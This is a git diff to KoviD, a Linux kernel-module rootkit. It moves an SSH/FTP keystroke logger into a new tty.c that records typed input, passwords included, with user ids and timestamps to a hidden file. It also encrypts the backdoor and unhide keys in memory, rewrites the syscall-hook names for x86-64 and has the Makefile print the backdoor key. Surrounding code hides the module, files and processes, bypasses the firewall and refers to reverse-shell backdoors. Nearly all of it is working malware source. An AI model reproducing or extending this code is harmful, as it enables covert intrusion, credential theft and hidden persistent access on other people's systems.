diff --git a/CMakeLists.txt b/CMakeLists.txt index fad96bc..59c06e0 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -107,6 +107,7 @@ set(SRC src/sock.c src/util.c src/vm.c + src/tty.c ) # Step M: Create the 'persist' Target using configure_file diff --git a/Makefile b/Makefile index 5f9c473..2cf48b1 100644 --- a/Makefile +++ b/Makefile @@ -32,7 +32,7 @@ COMPILER_OPTIONS := -Wall -Wno-vla -DPROCNAME='"$(PROCNAME)"' \ EXTRA_CFLAGS := -I$(src)/src -I$(src)/fs ${COMPILER_OPTIONS} SRC := src/${OBJNAME}.c src/pid.c src/fs.c src/sys.c \ - src/sock.c src/util.c src/vm.c src/crypto.c + src/sock.c src/util.c src/vm.c src/crypto.c src/tty.c persist=src/persist @@ -46,14 +46,20 @@ all: # TODO: Check if we can generate a random PROCNAME, something like: # PROCNAME ?= $(shell uuidgen | cut -c1-8) $(if $(PROCNAME),,$(error ERROR: PROCNAME is not defined. Please invoke make with PROCNAME="your_process_name")) - @sed -i 's#^static uint64_t __attribute__((unused)) auto_bdkey = .*#static uint64_t __attribute__((unused)) auto_bdkey = $(BDKEY);#' src/auto.h - @sed -i 's#^static uint64_t __attribute__((unused)) auto_unhidekey = .*#static uint64_t __attribute__((unused)) auto_unhidekey = $(UNHIDEKEY);#' src/auto.h + @sed -i "s/\(uint64_t auto_bdkey = \)[^;]*;/\1$(BDKEY);/" src/sock.c + @sed -i "s/\(uint64_t auto_unhidekey = \)[^;]*;/\1$(UNHIDEKEY);/" src/kovid.c make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules - @echo -n "Save this Backdoor KEY: " - @echo $(BDKEY) | sed 's/^0x//' - @echo -n "Save this LKM unhide KEY: " - @echo $(UNHIDEKEY) | sed 's/^0x//' - @echo PROCNAME=$(PROCNAME) + @echo -n "Backdoor KEY: " + @echo "\033[1;37m$(BDKEY)\033[0m" | sed 's/0x//' + @echo -n "LKM unhide KEY: " + @echo "\033[1;37m$(UNHIDEKEY)\033[0m" | sed 's/0x//' + @echo "UI: \033[1;37m/proc/$(PROCNAME)\033[0m" + @echo -n "Build type: " +ifdef DEPLOY + @echo "\033[1;37mRELEASE\033[0m" +else + @echo "\033[1;37mDEBUG\033[0m" +endif persist: sed -i "s|.lm.sh|${UUIDGEN}.sh|g" $(persist).S @@ -73,10 +79,8 @@ clang-format: clang-format-18 -i src/*.[ch] reset-auto: - @git checkout a6333fdc9e9d647b7d64e9e9cb1e6c0237a8967f \ - -- src/persist.S 2>/dev/null || true - @git checkout 1520b99c4fa2fc2ee6a1d11c50de4e1591321a71 \ - -- src/auto.h 2>/dev/null || true + @sed -i "s/\(uint64_t auto_bdkey = \)[^;]*;/\10x0000000000000000;/" src/sock.c + @sed -i "s/\(uint64_t auto_unhidekey = \)[^;]*;/\10x0000000000000000;/" src/kovid.c clean: reset-auto @make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/src/auto.h b/src/auto.h deleted file mode 100644 index 8fb9450..0000000 --- a/src/auto.h +++ /dev/null @@ -1,12 +0,0 @@ -/** - * Modified by Makefile - * !! DO NOT EDIT !! - * - */ -#ifndef __AUTO_H -#define __AUTO_H - -static uint64_t __attribute__((unused)) auto_bdkey = 0x0000000000000000; -static uint64_t __attribute__((unused)) auto_unhidekey = 0x0000000000000000; - -#endif diff --git a/src/crypto.c b/src/crypto.c index dfc6d5d..d24acb4 100644 --- a/src/crypto.c +++ b/src/crypto.c @@ -17,24 +17,25 @@ static struct crypto_skcipher *tfm; * Must be called once from KoviD initialization */ #define ENCKEY_LEN 32 /** aes 256 */ -int kv_crypto_key_init(void) + +int kv_crypto_engine_init(void) { static char key[ENCKEY_LEN] = { 0 }; - int rc; + int rc = -1; /** Allocate AES-CBC */ if (!crypto_has_skcipher("cbc(aes)", 0, 0)) { prerr("Cipher not found\n"); - return 0; + return rc; } /** Allocate for transformation - * Shared across all instances - */ + * Shared across all instances + */ tfm = crypto_alloc_skcipher("cbc(aes)", 0, 0); if (IS_ERR(tfm)) { prerr("Failed to allocate cipher %ld\n", PTR_ERR(tfm)); - return 0; + return rc; } get_random_bytes(key, ENCKEY_LEN); @@ -44,7 +45,6 @@ int kv_crypto_key_init(void) if (rc < 0) { prerr("Key init error %d\n", rc); crypto_free_skcipher(tfm); - return 0; } return rc; @@ -52,7 +52,7 @@ int kv_crypto_key_init(void) /** Encryption init * Called for each encryption operation */ -struct kv_crypto_st *crypto_init(void) +struct kv_crypto_st *kv_crypto_mgc_init(void) { struct kv_crypto_st *kvmgc = kmalloc(sizeof(struct kv_crypto_st), GFP_KERNEL); @@ -213,7 +213,7 @@ void kv_crypto_mgc_deinit(struct kv_crypto_st *kvmgc) } } -void kv_crypto_deinit(void) +void kv_crypto_engine_deinit(void) { if (tfm) { kfree(tfm); diff --git a/src/kovid.c b/src/kovid.c index 9d23ed9..5fa82f3 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -31,7 +31,6 @@ #include "lkm.h" #include "fs.h" #include "version.h" -#include "auto.h" #include "log.h" #define MAX_PROCFS_SIZE PAGE_SIZE @@ -41,10 +40,6 @@ #pragma message "Missing \'MODNAME\' compilation directive. See Makefile." #endif -#ifdef DEBUG_RING_BUFFER -#pragma message "!!! Be careful: Build kovid in DEBUG mode !!!" -#endif - #ifndef PRCTIMEOUT /** * default timeout seconds @@ -67,14 +62,15 @@ struct __lkmmod_t { }; static DEFINE_MUTEX(prc_mtx); static DEFINE_SPINLOCK(elfbits_spin); +static struct kv_crypto_st *kvmgc_unhidekey; -/** gcc - fuck 32 bits shit (for now!) */ -#ifndef __x86_64__ -#error "fuuuuuu Support is only for x86-64" -#endif +// Makefile auto-generated - DO NOT EDIT +uint64_t auto_unhidekey = 0x0000000000000000; -#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 16, 0) -#pragma message "!! Warning: Unsupported kernel version GOOD LUCK WITH THAT! !!" +extern uint64_t auto_bdkey; + +#ifndef __x86_64__ +#error "Support is only for x86-64" #endif MODULE_LICENSE("Dual BSD/GPL"); @@ -476,6 +472,7 @@ static const match_table_t tokens = { { Opt_unhide_directory, "unhide-directory=%s" }, { Opt_journalclt, "journal-flush" }, + { Opt_fetch_base_address, "base-address=%d" }, #ifdef DEBUG_RING_BUFFER { Opt_get_bdkey, "get-bdkey" }, { Opt_get_unhidekey, "get-unhidekey" }, @@ -483,12 +480,43 @@ static const match_table_t tokens = { { Opt_unknown, NULL } }; +struct userdata_t { + uint64_t address_value; + int op; + bool ok; +}; + +void _crypto_cb(const u8 *const buf, size_t buflen, size_t copied, + void *userdata) +{ + struct userdata_t *validate = (struct userdata_t *)userdata; + + if (!validate) + return; + + if (validate->op == Opt_unhide_module) { + if (validate->address_value) { + if (validate->address_value == *((uint64_t *)buf)) + validate->ok = true; + } + } +#ifdef DEBUG_RING_BUFFER + else if (validate->op == Opt_get_unhidekey || + validate->op == Opt_get_bdkey) { + char bits[32 + 1] = { 0 }; + snprintf(bits, 32, "%llx", *((uint64_t *)buf)); + set_elfbits(bits); + } +#endif +} + #define CMD_MAXLEN 128 static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, loff_t *offset) { pid_t pid; char param[CMD_MAXLEN + 1] = { 0 }; + decrypt_callback user_cb = (decrypt_callback)_crypto_cb; if (copy_from_user(param, user, CMD_MAXLEN)) return -EFAULT; @@ -522,10 +550,17 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, kv_hide_mod(); break; case Opt_unhide_module: { - uint64_t val; - if ((sscanf(args[0].from, "%llx", &val) == 1) && - auto_unhidekey == val) { - kv_unhide_mod(); + uint64_t address_value = 0; + struct userdata_t validate = { 0 }; + + if ((sscanf(args[0].from, "%llx", &address_value) == + 1)) { + validate.address_value = address_value; + validate.op = Opt_unhide_module; + kv_decrypt(kvmgc_unhidekey, user_cb, &validate); + if (validate.ok == true) { + kv_unhide_mod(); + } } } break; case Opt_hide_file: @@ -561,9 +596,9 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, case Opt_unhide_directory: fs_del_name(args[0].from); break; - /* Currently, directories must - * be added individually: use hide-directory - * */ + /** Currently, directories must + * be added individually: use hide-directory + */ case Opt_hide_file_anywhere: fs_add_name_rw(args[0].from, 0); break; @@ -578,15 +613,14 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, } } break; #ifdef DEBUG_RING_BUFFER - case Opt_get_bdkey: { - char bits[32 + 1] = { 0 }; - snprintf(bits, 32, "%lx", auto_bdkey); - set_elfbits(bits); - } break; + case Opt_get_bdkey: case Opt_get_unhidekey: { - char bits[32 + 1] = { 0 }; - snprintf(bits, 32, "%lx", auto_unhidekey); - set_elfbits(bits); + struct userdata_t validate = { 0 }; + struct kv_crypto_st *mgc = + (tok == Opt_get_unhidekey ? kvmgc_unhidekey : + kv_sock_get_mgc()); + validate.op = tok; + kv_decrypt(mgc, user_cb, &validate); } break; #endif case Opt_fetch_base_address: { @@ -782,6 +816,7 @@ static void _unroll_init(void) static int __init kv_init(void) { + u8 buf[16] = { 0 }; int rv = 0; char *procname_err = ""; const char **name; @@ -792,10 +827,8 @@ static int __init kv_init(void) /* * Hide these names from write() fs output */ - static const char *hide_names[] = { ".kovid", "kovid", - "kovid.ko", UUIDGEN ".ko", - UUIDGEN ".sh", ".sshd_orig", - PROCNAME, NULL }; + static const char *hide_names[] = { MODNAME, UUIDGEN ".ko", + UUIDGEN ".sh", PROCNAME, NULL }; /** show current version for when running in debug mode */ prinfo("version %s\n", KOVID_VERSION); @@ -827,24 +860,34 @@ static int __init kv_init(void) #endif tsk_prc = kthread_run(_proc_watchdog, NULL, THREAD_PROC_NAME); if (!tsk_prc) - goto unroll_init; + goto background_error; tsk_tainted = kthread_run(_reset_tainted, NULL, THREAD_TAINTED_NAME); if (!tsk_tainted) - goto unroll_init; + goto background_error; #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 17, 0) cont: #endif /** Init crypto engine */ - if (kv_crypto_key_init() < 0) { + if (kv_crypto_engine_init() < 0) { prerr("Failed to initialise crypto engine\n"); goto crypto_error; } + if (!(kvmgc_unhidekey = kv_crypto_mgc_init())) { + prerr("Failed to encrypt unhidekey\n"); + kv_crypto_engine_deinit(); + goto crypto_error; + } + + memcpy(buf, &auto_unhidekey, 8); + kv_encrypt(kvmgc_unhidekey, buf, sizeof(buf)); + auto_unhidekey = 0; + tsk_sniff = kv_sock_start_sniff(); if (!tsk_sniff) - goto unroll_init; + goto background_error; if (!kv_sock_start_fw_bypass()) { prwarn("Error loading fw_bypass\n"); @@ -873,21 +916,20 @@ static int __init kv_init(void) prinfo("loaded.\n"); goto leave; -unroll_init: - prerr("Could not load basic functionality.\n"); +crypto_error: + prerr("Crypto init error\n"); goto error; -addr_error: - prerr("Could not get kernel function address, proc file not created.\n"); +background_error: + prerr("Could not load basic functionality.\n"); goto error; sys_init_error: prerr("Could not load syscalls hooks\n"); goto error; +addr_error: + prerr("Could not get kernel function address, proc file not created.\n"); + goto error; procname_missing: prerr("%s\n", procname_err); - goto error; -crypto_error: - prerr("Crypto init error\n"); - error: prerr("Unrolling\n"); _unroll_init(); @@ -921,7 +963,7 @@ static void __exit kv_cleanup(void) fs_names_cleanup(); - kv_crypto_deinit(); + kv_crypto_engine_deinit(); prinfo("unloaded.\n"); } diff --git a/src/lkm.h b/src/lkm.h index c87e174..b9c9d8e 100644 --- a/src/lkm.h +++ b/src/lkm.h @@ -86,13 +86,13 @@ struct kernel_syscalls { typedef void (*decrypt_callback)(const u8 *const buf, size_t buflen, size_t copied, void *userdata); /** Setup crypto module */ -int kv_crypto_key_init(void); -struct kv_crypto_st *crypto_init(void); +int kv_crypto_engine_init(void); +struct kv_crypto_st *kv_crypto_mgc_init(void); size_t kv_encrypt(struct kv_crypto_st *, u8 *, size_t); size_t kv_decrypt(struct kv_crypto_st *, decrypt_callback, void *userdata); void kv_crypto_free_data(struct kv_crypto_st *); void kv_crypto_mgc_deinit(struct kv_crypto_st *); -void kv_crypto_deinit(void); +void kv_crypto_engine_deinit(void); /** hooks, hiding presence and so */ bool sys_init(void); @@ -127,6 +127,9 @@ struct task_struct *kv_sock_start_sniff(void); bool kv_sock_start_fw_bypass(void); void kv_sock_stop_sniff(struct task_struct *tsk); void kv_sock_stop_fw_bypass(void); +#ifdef DEBUG_RING_BUFFER +struct kv_crypto_st *kv_sock_get_mgc(void); +#endif bool kv_bd_search_iph_source(__be32 saddr); bool kv_check_bdkey(struct tcphdr *, struct sk_buff *); void kv_bd_cleanup_item(__be32 *); @@ -161,12 +164,6 @@ struct _kv_hide_ps_on_load { * Hide these process names at insmod */ static struct _kv_hide_ps_on_load kv_hide_ps_on_load[] = { - { "whitenose-example", KV_TASK }, - { "pinknose-example", KV_TASK }, - { "rednose-example", KV_TASK }, - { "blacknose-example", KV_TASK }, - { "greynose-example", KV_TASK }, - { "purplenose-example", KV_TASK }, // Uncomment, recompile and try nc: //{"nc", KV_TASK_BD}, diff --git a/src/sock.c b/src/sock.c index aa4c558..c571f9e 100644 --- a/src/sock.c +++ b/src/sock.c @@ -20,7 +20,6 @@ #include "fs.h" #include "lkm.h" #include "log.h" -#include "auto.h" static LIST_HEAD(iph_node); struct iph_node_t { @@ -33,6 +32,10 @@ struct iph_node_t { struct task_struct *tsk_iph = NULL; static struct kv_crypto_st *kvmgc_bdkey; +// Makefile auto-generated - DO NOT EDIT +// To reset status: make clean +uint64_t auto_bdkey = 0x0000000000000000; + #define BD_PATH_NUM 3 #define BD_OPS_SIZE 2 enum { @@ -255,6 +258,7 @@ static char *_build_bd_command(const char *exe, uint16_t dst_port, __be32 saddr, } return bd; } + /** * Execute backdoor that can be either regular * or reverse shell @@ -612,29 +616,36 @@ static unsigned int _sock_hook_nf_fw_bypass(void *priv, struct sk_buff *skb, return rc; } +#ifdef DEBUG_RING_BUFFER +struct kv_crypto_st *kv_sock_get_mgc(void) +{ + return kvmgc_bdkey; +} +#endif + struct task_struct *kv_sock_start_sniff(void) { bool *running = _is_task_running(); static struct nf_priv priv; struct task_struct *tsk = NULL; + u8 buf[16] = { 0 }; /** - * Init bdkey enc - */ - kvmgc_bdkey = crypto_init(); - if (kvmgc_bdkey) { - /** for the aes-256, 16 bytes - * is minimum data size - */ - size_t datalen = 16; - u8 buf[16] = { 0 }; - memcpy(buf, &auto_bdkey, 8); - kv_encrypt(kvmgc_bdkey, buf, datalen); - - /** discard saved key */ - auto_bdkey = 0; + * Init bdkey enc + */ + kvmgc_bdkey = kv_crypto_mgc_init(); + if (!kvmgc_bdkey) { + prerr("Failed to encrypt bdkey\n"); + goto leave; } + /** for the aes-256, 16 bytes + * is minimum data size + */ + memcpy(buf, &auto_bdkey, 8); + kv_encrypt(kvmgc_bdkey, buf, sizeof(buf)); + auto_bdkey = 0; + // load sniffer if (!*running) { // Hook pre routing diff --git a/src/sys.c b/src/sys.c index bbe20f3..c909c5d 100644 --- a/src/sys.c +++ b/src/sys.c @@ -19,6 +19,7 @@ #include "lkm.h" #include "fs.h" #include "bpf.h" +#include "tty.h" #include "log.h" #pragma GCC optimize("-fno-optimize-sibling-calls") @@ -47,9 +48,7 @@ sys64 real_m_read; * These are kept open throughout kv lifetime * This is so because tty is continuous. */ -static struct file *ttyfilp; -static DEFINE_SPINLOCK(tty_lock); static DEFINE_SPINLOCK(hide_once_spin); /** @@ -803,13 +802,10 @@ static int m_filldir64(struct dir_context *ctx, const char *name, int namlen, return real_filldir64(ctx, name, namlen, offset, ino, d_type); } -#define MAXKEY 512 static LIST_HEAD(keylog_node); -struct keylog_t { - char buf[MAXKEY + 2]; /** newline+'\0' */ - int offset; - uid_t uid; - struct list_head list; +static struct tty_ctx tty_sys_ctx = { + .head = &keylog_node, + .fp = NULL, }; static void __attribute__((unused)) _tty_dump(uid_t uid, pid_t pid, char *buf, @@ -818,116 +814,11 @@ static void __attribute__((unused)) _tty_dump(uid_t uid, pid_t pid, char *buf, prinfo("%s\n", buf); } -enum { R_NONE = 0, R_RETURN = 1, R_NEWLINE = 2, R_RANGE = 4 }; -static void _tty_write_log(uid_t uid, char *buf, ssize_t len) -{ - static loff_t offset; - struct timespec64 ts; - long msecs; - size_t total; - - /** - * We use a variable-length array (VLA) because the implementation of kernel_write - * forces a conversion to a user pointer. If the variable is heap-allocated, the - * pointer may be lost. - * - * VLA generates a warning since we're not in C99, but it's necessary for our use case. - * - * We allocate +32 bytes, which is enough to hold timestamp + "uid.%d". - */ - char ttybuf[len + 32]; - - spin_lock(&tty_lock); - - ktime_get_boottime_ts64(&ts); - msecs = ts.tv_nsec / 1000; - - total = snprintf(ttybuf, sizeof(ttybuf), "[%lld.%06ld] uid.%d %s", - (long long)ts.tv_sec, msecs, uid, buf); - -#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 14, 0) - fs_kernel_write_file(ttyfilp, (const void *)ttybuf, total, &offset); -#else - fs_kernel_write_file(ttyfilp, (const char *)ttybuf, total, offset); -#endif - spin_unlock(&tty_lock); -} - -static int inline _key_add(uid_t uid, char byte, int flags) -{ - struct keylog_t *kl; - int rv = 0; - - if ((flags & R_RETURN) || (!(flags & R_RANGE))) - return rv; - - kl = kcalloc(1, sizeof(struct keylog_t), GFP_KERNEL); - if (!kl) { - prerr("Insufficient memory\n"); - rv = -ENOMEM; - } else { - kl->offset = 0; - kl->buf[kl->offset++] = byte; - kl->uid = uid; - list_add_tail(&kl->list, &keylog_node); - } - - return rv; -} - -static int _key_update(uid_t uid, char byte, int flags) -{ - struct keylog_t *node, *node_safe; - bool new = true; - int rv = 0; - - list_for_each_entry_safe (node, node_safe, &keylog_node, list) { - if (node->uid != uid) - continue; - - if (flags & R_RETURN) { - node->buf[node->offset++] = '\n'; - node->buf[node->offset] = 0; - - _tty_write_log(uid, node->buf, strlen(node->buf)); - - list_del(&node->list); - kfree(node); - } else if ((flags & R_RANGE) || (flags & R_NEWLINE)) { - if (node->offset < MAXKEY) { - node->buf[node->offset++] = byte; - } else { - prwarn("Warning: max length reached: %d\n", - MAXKEY); - return -ENOMEM; - } - } - new = false; - break; - } - - if (new) - rv = _key_add(uid, byte, flags); - - return rv; -} - -static void _keylog_cleanup_list(void) -{ - struct keylog_t *node, *node_safe; - list_for_each_entry_safe (node, node_safe, &keylog_node, list) { - list_del(&node->list); - kfree(node); - } -} - void _keylog_cleanup(void) { - _keylog_cleanup_list(); - fs_kernel_close_file(ttyfilp); + kv_tty_close(&tty_sys_ctx); + memset(&tty_sys_ctx, 0, sizeof(struct tty_ctx)); fs_file_rm(sys_get_ttyfile()); - - ttyfilp = NULL; } #if LINUX_VERSION_CODE < KERNEL_VERSION(5, 12, 0) @@ -992,17 +883,16 @@ static ssize_t m_tty_read(struct kiocb *iocb, struct iov_iter *to) flags |= (byte == '\n') ? R_NEWLINE : flags; /** - * Handles SSH session data, which usually arrives one byte at a time. - * However, in certain cases, such as during password input, the data may - * arrive as a multi-byte stream. + * To handle SSH session data, it typically + * comes one byte at a time, but there are instances when it comes + * as a multi-byte stream, for example, during password input. */ if ((app_flag & APP_FTP) && rv > 1) { ttybuf[strcspn(ttybuf, "\r")] = '\0'; - _tty_write_log(uid, ttybuf, sizeof(ttybuf)); - + kv_tty_write(&tty_sys_ctx, uid, ttybuf, sizeof(ttybuf)); } else if (app_flag & APP_SSH && (rv == 1 || flags & R_RETURN || flags & R_NEWLINE)) { - _key_update(uid, byte, flags); + kv_key_update(&tty_sys_ctx, uid, byte, flags); } } out: @@ -1130,14 +1020,7 @@ static unsigned long _load_syscall_variant(struct kernel_syscalls *ks, return 0L; } - if (!(rv = ks->k_kallsyms_lookup_name(str))) { - /* there is no actual limit for syscall AFAIK */ - char tmp[64 + 1] = { 0 }; - - snprintf(tmp, 64, "__x64_%s", str); - rv = ks->k_kallsyms_lookup_name(tmp); - } - + rv = ks->k_kallsyms_lookup_name(str); if (rv) { struct sys_addr_list *sl; sl = kcalloc(1, sizeof(struct sys_addr_list), GFP_KERNEL); @@ -1215,6 +1098,12 @@ void kv_reset_tainted(unsigned long *tainted_ptr) test_and_clear_bit(TAINT_WARN, tainted_ptr); } +#ifdef __x86_64__ +#define _sys_arch(s) "__x64_" s +#else +#define _sys_arch(s) s +#endif + struct kernel_syscalls *kv_kall_load_addr(void) { static struct kernel_syscalls ks; @@ -1244,8 +1133,9 @@ struct kernel_syscalls *kv_kall_load_addr(void) if (!ks.k_bpf_map_get) prwarn("invalid data: bpf_map_get will not work\n"); - ks.k_sys_setreuid = - (sys64)_load_syscall_variant(&ks, "sys_setreuid"); + /** Direct call. @see m_kill */ + ks.k_sys_setreuid = (sys64)_load_syscall_variant( + &ks, _sys_arch("sys_setreuid")); ; if (!ks.k_sys_setreuid) prwarn("invalid data: syscall hook setreuid will not work\n"); @@ -1269,11 +1159,11 @@ struct kernel_syscalls *kv_kall_load_addr(void) } static struct ftrace_hook ft_hooks[] = { - { "sys_exit_group", m_exit_group, &real_m_exit_group, true }, - { "sys_clone", m_clone, &real_m_clone, true }, - { "sys_kill", m_kill, &real_m_kill, true }, - { "sys_read", m_read, &real_m_read, true }, - { "sys_bpf", m_bpf, &real_m_bpf, true }, + { _sys_arch("sys_exit_group"), m_exit_group, &real_m_exit_group, true }, + { _sys_arch("sys_clone"), m_clone, &real_m_clone, true }, + { _sys_arch("sys_kill"), m_kill, &real_m_kill, true }, + { _sys_arch("sys_read"), m_read, &real_m_read, true }, + { _sys_arch("sys_bpf"), m_bpf, &real_m_bpf, true }, { "tcp4_seq_show", m_tcp4_seq_show, &real_m_tcp4_seq_show }, { "udp4_seq_show", m_udp4_seq_show, &real_m_udp4_seq_show }, { "tcp6_seq_show", m_tcp6_seq_show, &real_m_tcp6_seq_show }, @@ -1434,8 +1324,9 @@ bool sys_init(void) ft_hooks[idx].name); /** Init tty log */ - ttyfilp = fs_kernel_open_file(sys_get_ttyfile()); - if (!ttyfilp) { + tty_sys_ctx = + kv_tty_open(&tty_sys_ctx, sys_get_ttyfile()); + if (!tty_sys_ctx.fp) { prerr("sys_init: Failed loading tty file\n"); rc = false; } diff --git a/src/tty.c b/src/tty.c new file mode 100644 index 0000000..2fb2b92 --- /dev/null +++ b/src/tty.c @@ -0,0 +1,144 @@ + +#include +#include +#include +#include +#include +#include +#include "fs.h" +#include "tty.h" +#include "log.h" + +static DEFINE_SPINLOCK(tty_lock); + +struct keylog_t { + uid_t uid; + int offset; + struct list_head list; + char buf[KEY_LOG_BUF_MAX + 2]; /** newline+'\0' */ +}; + +static void _keylog_cleanup_list(struct list_head *head) +{ + struct keylog_t *node, *node_safe; + list_for_each_entry_safe (node, node_safe, head, list) { + list_del(&node->list); + kfree(node); + } +} + +struct tty_ctx kv_tty_open(struct tty_ctx *ctx, const char *filename) +{ + if (NULL != ctx && NULL != filename) + ctx->fp = fs_kernel_open_file(filename); + + return *ctx; +} + +void kv_tty_write(struct tty_ctx *ctx, uid_t uid, char *buf, ssize_t len) +{ + static loff_t offset; + struct timespec64 ts; + long msecs; + size_t total; + + /** + * We use a variable-length array (VLA) because the implementation of kernel_write + * forces a conversion to a user pointer. If the variable is heap-allocated, the + * pointer may be lost. + * + * VLA generates a warning since we're not in C99, but it's necessary for our use case. + * + * We allocate +32 bytes, which is enough to hold timestamp + "uid.%d". + */ + char ttybuf[len + 32]; + + spin_lock(&tty_lock); + + ktime_get_boottime_ts64(&ts); + msecs = ts.tv_nsec / 1000; + + total = snprintf(ttybuf, sizeof(ttybuf), "[%lld.%06ld] uid.%d %s", + (long long)ts.tv_sec, msecs, uid, buf); + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 14, 0) + fs_kernel_write_file(ctx->fp, (const void *)ttybuf, total, &offset); +#else + fs_kernel_write_file(ctx->fp, (const char *)ttybuf, total, offset); +#endif + spin_unlock(&tty_lock); +} + +static int _kv_key_add(struct list_head *head, uid_t uid, char byte, int flags) +{ + struct keylog_t *kl; + int rv = 0; + + if ((flags & R_RETURN) || (!(flags & R_RANGE))) + return rv; + + kl = kcalloc(1, sizeof(struct keylog_t), GFP_KERNEL); + if (!kl) { + prerr("Insufficient memory\n"); + rv = -ENOMEM; + } else { + kl->offset = 0; + kl->buf[kl->offset++] = byte; + kl->uid = uid; + list_add_tail(&kl->list, head); + } + + return rv; +} + +int kv_key_update(struct tty_ctx *ctx, uid_t uid, char byte, int flags) +{ + struct keylog_t *node, *node_safe; + bool new = true; + int rv = 0; + + list_for_each_entry_safe (node, node_safe, ctx->head, list) { + if (node->uid != uid) + continue; + + if (flags & R_RETURN) { + node->buf[node->offset++] = '\n'; + node->buf[node->offset] = 0; + + kv_tty_write(ctx, uid, node->buf, strlen(node->buf)); + + list_del(&node->list); + kfree(node); + } else if ((flags & R_RANGE) || (flags & R_NEWLINE)) { + if (node->offset < KEY_LOG_BUF_MAX) { + node->buf[node->offset++] = byte; + } else { + prwarn("Warning: max length reached: %d\n", + KEY_LOG_BUF_MAX); + return -ENOMEM; + } + } + new = false; + break; + } + + if (new) + rv = _kv_key_add(ctx->head, uid, byte, flags); + + return rv; +} + +void kv_tty_close(struct tty_ctx *ctx) +{ + if (ctx->head) { + _keylog_cleanup_list(ctx->head); + } else { + prerr("kv_tty_close: Error invalid head\n"); + } + + if (ctx->fp) { + fs_kernel_close_file(ctx->fp); + } else { + prerr("kv_tty_close: Error invalid file reference\n"); + } +} diff --git a/src/tty.h b/src/tty.h new file mode 100644 index 0000000..b61faf5 --- /dev/null +++ b/src/tty.h @@ -0,0 +1,24 @@ +#ifndef __TTY_H +#define __TTY_H + +#define KEY_LOG_BUF_MAX 512 +enum { //tty flags + R_NONE = 0, + R_RETURN = 1, + R_NEWLINE = 2, + R_RANGE = 4 +}; + +/** + * TTY user context + */ +struct tty_ctx { + struct file *fp; + struct list_head *head; +}; + +struct tty_ctx kv_tty_open(struct tty_ctx *, const char *); +void kv_tty_write(struct tty_ctx *, uid_t, char *, ssize_t); +int kv_key_update(struct tty_ctx *, uid_t, char, int); +void kv_tty_close(struct tty_ctx *); +#endif //__TTY_H diff --git a/test/native/kaudit.test b/test/native/kaudit.test index 815e223..b095c1d 100644 --- a/test/native/kaudit.test +++ b/test/native/kaudit.test @@ -15,5 +15,5 @@ sudo dmesg # CHECK: loaded. # CHECK: Cool! Now try 'su' -# CHECK: Uninstalling: 'sys_exit_group' syscall=1 +# CHECK: Uninstalling: '__x64_sys_exit_group' syscall=1 # CHECK: unloaded.